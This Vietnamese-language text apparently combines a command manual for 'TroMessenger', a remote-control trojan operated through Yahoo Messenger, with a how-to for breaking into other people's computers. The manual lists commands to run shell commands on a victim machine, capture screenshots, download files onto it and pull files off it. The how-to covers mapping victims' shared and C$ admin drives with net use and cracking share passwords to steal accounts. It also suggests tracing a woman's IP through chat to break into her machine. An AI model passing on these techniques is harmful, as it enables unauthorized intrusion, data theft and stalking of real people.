/cmd - Tương tự MS-DOS Command Prompt. Bạn có thể thực thi lệnh DOS trên máy bị kiểm soát, và nhận được kết quả. Các lệnh như: DIR , VER , VOL , IPConfig , Netstat , WHOAMI v.v … đều có thể được sử dụng như lệnh DOS.
Ví dụ: /cmd dir C:\*.txt]

Các kiểu lệnh thực thi DOS

Bạn có thể thực thi một số lệnh DOS đặc biệt để khai thác thông tin từ phía máy bị kiểm soát.

/cmd dir - Xem danh sách các tập tin và thư mục. Bạn có thể sử dụng linh động các thông số để khai thác thông tin cụ thể nhất. Ví dụ: /cmd dir /on , /cmd dir *.txt

/cmd ipconfig - Lấy thông tin truy cập. Câu lệnh có chức năng khai thác thông tin từ thiết bị mạng đang sử dụng trên máy bị kiểm soát. Nó sẽ truy ra tên thiết bị mạng, địa chỉ IP, cổng vào, DNS Server … v.v

/cmd tasklist - Lấy danh sách các chương trình đang hoạt động. Tương tự như Windows Task Manager. Nhưng dưới giao diện DOS.

/cmd whoami - Cung cấp thông tin để xác định máy qua mạng. Thông tin gửi về gồm : TÊN MIỀN / TÊN NHÓM MẠNG , Tên máy tính và tên truy cập máy tính sử dụng WINDOWS. Lưu ý : Câu lệnh này chỉ hoạt động với Windows Server 2003. Không hỗ trợ trên Windows XP.

/cmd netstat - Hiển thị hệ thống mạng và tất cả kết nối hiện có trên máy tính. Để đạt tốc độ nhanh, sử dụng /cmd netstat -na

Khai thác thông tin của máy tính

Chỉ việc sử dụng câu lệnh này, bạn có thể lấy được thông tin chính từ máy đối tượng.

/IP - cho biết địa chỉ IP. Một máy tính có thể có nhiều hơn một địa chỉ IP khi hoạt động. Ví dụ : bạn có một tài khoản để kết nối internet, và máy tính của bạn đang nằm trong một khu vực kết nối mạng nội bộ (LAN). Vì vậy bạn sẽ có 2 địa chỉ IP ấn định trong máy tính. TroMessenger sẽ gửi toàn bộ địa chỉ IP hiện hành trên máy tính.

/osname - cho bạn biết đầy đủ về tên của Hệ điều hành Windows và tên các phiên bản cập nhật. Ví dụ : Windows Server 2003 Service Pack 1.

/computername - cho biết tên thiết lập của máy trên hệ thống mạng. Các máy tính nhận dạng nhau qua tên này. Nếu máy tính hiện thời chưa được kết nối, không thành vấn đề, nội dung sẽ được gửi ngay sau đó.

/winusername - cho biết tài khoản quản lý sử dụng Windows. Đặc biệt trong Windows XP, có thể sẽ có nhiều tài khoản sử dụng cùng một máy. Và thông tin này sẽ được thay đổi mỗi khi người sử dụng truy cập.

Nhưng với Windows Server 2003 tên này luôn được trả về Administrator. Tuy nhiên dân Admin đã biết chuyển tên tài khoản. nhưng thông thường đa số Admin lại quên làm.

/yahooid - Cho biết tên Yahoo ID của người cuối cùng đang bị kiểm soát.

Những chức năng chính

/Help - Hiển thị các lệnh hợp lệ của TroMessenger. Sẽ có nhiều câu lệnh hơn trong những phiên bản mới. Lúc đó bạn chỉ cần sử dụng lệnh này.

/screenshot - Cho bạn ảnh chụp màn hình của máy tính đối tượng.

Nghi vấn - Yahoo! Messenger là chương trình viết bằng ngữ lệnh, làm sao TroMessenger có thể cho tôi xem ảnh chụp ?
Giải đáp - TroMessenger cho bạn ảnh ngay tức khắc. Có nghĩa là : chụp sao lại màn hình, sau đó tải lên mạng, và gửi đến bạn một liên kết để xem ảnh.

/download - Tải về một thứ gì đó và lưu lại trên máy đối tượng. Bạn sẽ được thông báo khi quá trình hoàn tất.

Câu lệnh: /download “http://www.hostname.com/folder/file.zip” “C:\SavedFile.zip”

Chú ý: Bạn phải sử dụng dấu ngoặc (”). Nếu quên, quá trình tải về sẽ không thực hiện được.

/restart - Khởi động lại máy tính.

Chú ý: Nếu bạn chạy thử nghiệm trên máy tính của bạn, bạn sẽ bị khởi động ngay lập tức mà không có tín hiệu thông báo nào. Và những chương trình trên máy sẽ bị mất. Hãy cẩn thận khi sử dụng câu lệnh này. Tương tự như Shutdown command.

/shutdown - Tắt máy tính. (Lặp lại chú ý)

/time , /date - Hiển thị ngày và giờ.

/ejectcd - Mở ổ đĩa CD-ROM.

/closecd - Đóng ổ đĩa CD-ROM sau khi mở.

/view - Hiển thị nội dung của văn bản. Lưu ý: nếu văn bản nhiều hơn … ký tự, nó sẽ được ngắt ra thành nhiều phần để gửi liên tiếp nhau.

/getfile - tải bất kỳ tập tin nào lên mạng và gửi liên kết tải về cho bạn. Được sử dụng khi bạn muốn đọc những tập tin không phải là tập tin văn bản từ máy đối tượng

/status , /idle , /busy - Đặt tín hiệu hiển thị cho địa chỉ ảo. Như là tín hiệu Busy hoặc Idle Icons bên cạnh ID.

Câu lệnh ví dụ :

/status Toiyeuem.

/idle Dangantoi.

/busy Hiendangban.

/cancel - Đình chỉ câu lệnh đang thực hiện. Ví dụ khi bạn muốn xem một tập tin văn bản có dung lượng 1MB. Và nội dung đang được gửi đi từng phần, nhưng rồi bạn cảm thấy chán và không muốn xem nữa và muốn gửi một lệnh khác. Chỉ cần dùng lệnh /cancel là xong.

/login - Đăng nhập tài khoản sử dụng quản lý. Mỗi khi TroMessenger khởi động, nếu bạn không được xác nhận là chủ quản lý của chương trình, nhưng bạn biết mật khẩu, bạn sẽ sử dụng /login your password để bắt đầu điều khiển chương trình. Không sử dụng dấu ngoặc cho mật khẩu…

xâm nhập máy tinh tong mang lan

xâm nhập máy tinh tong mang lan


Xâm nhập máy tính đang Online là một kỹ thuật vừa dễ lại vừa khó . Bạn có thể nói dễ khi bạn sử dụng công cụ ENT 3 nhưng bạn sẽ gặp vấn đề khi dùng nó là tốc độ sử dụng trên máy của nạn nhân sẽ bị chậm đi một cách
đáng kể và những máy họ không share thì không thể xâm nhập được, do đó
nếu họ tắt máy là mình sẽ bị công cốc khi chưa kịp chôm account , có một
cách êm thấm hơn , ít làm giảm tốc độ hơn và có thể xâm nhập khi nạn nhân
không share là dùng chương trình DOS để tấn công .

Dùng chương trình scan IP như ENT 3 để scan IP mục tiêu .
--->>Các bước thực hiện:

(1). Vào Start ==> Run gõ lệnh cmd .
(2). Trong cửa sổ DOS hãy đánh lệnh “net view

+ VD : c:\net view 203.162.30.xx


(3). Bạn hãy nhìn kết quả , nếu nó có share thì dễ quá , bạn chỉ cần đánh
tiếp lệnh

net use <ổ đĩa bất kỳ trên máy của bạn> : <ổ share của
nạn nhân>

+ VD : c:\net use E : 203.162.30.xxC

(4). Nếu khi kết nối máy nạn nhân mà có yêu cầu sử dụng Passwd thì bạn hãy
download chương trình dò passwd về sử dụng ( theo tôi bạn hãy load chương trình “pqwak2” áp dụng cho việc dò passwd trên máy sử dụng HĐH Win98 hoặc Winme và chương trình “xIntruder” dùng cho Win NT ) . Chú ý là về cách sử dụng thì hai chương trình tương tự nhau , dòng đầu ta đánh IP của nạn nhân , dòng thứ hai ta đánh tên ổ đĩa share của nạn nhân nhưng đối với “xIntruder” ta chú ý chỉnh Delay của nó cho hợp lý , trong mạng LAN thì Delay của nó là 100 còn trong mạng Internet là trên dướI 5000 .
(5). Nếu máy của nạn nhân không có share thì ta đánh lệnh :

net use <ổ đĩa bất kỳ trên máy của bạn> : c$ (hoặc
d$)"administrator"

+ VD : net use E : 203.162.30.xxC$"administrator"

Kiểu chia sẽ bằng c$ là mặc định đối với tất cả các máy USER là
"administrator" .
(6). Chúng ta có thể áp dụng cách này để đột nhập vào máy của cô bạn mà mình
“thầm thương trộm nhớ” để tìm những dữ liệu liên quan đến địa chỉ
của cô nàng ( với điều kiện là cô ta đang dùng máy ở nhà và bạn may mắn khi
tìm được địa chỉ đó ) . Bạn chỉ cần chat Y!Mass rồi vào DOS đánh lệnh :

c:\netstat –n

Khi dùng cách này bạn hãy tắt hết các cửa sổ khác chỉ để khung chat Y!Mass
với cô ta thôi , nó sẽ giúp bạn dễ dàng hơn trong việc xác định địa chỉ IP
của cô ta . Sau đó bạn dùng cách xâm nhập mà tôi đã nói ở trên , chúc vui !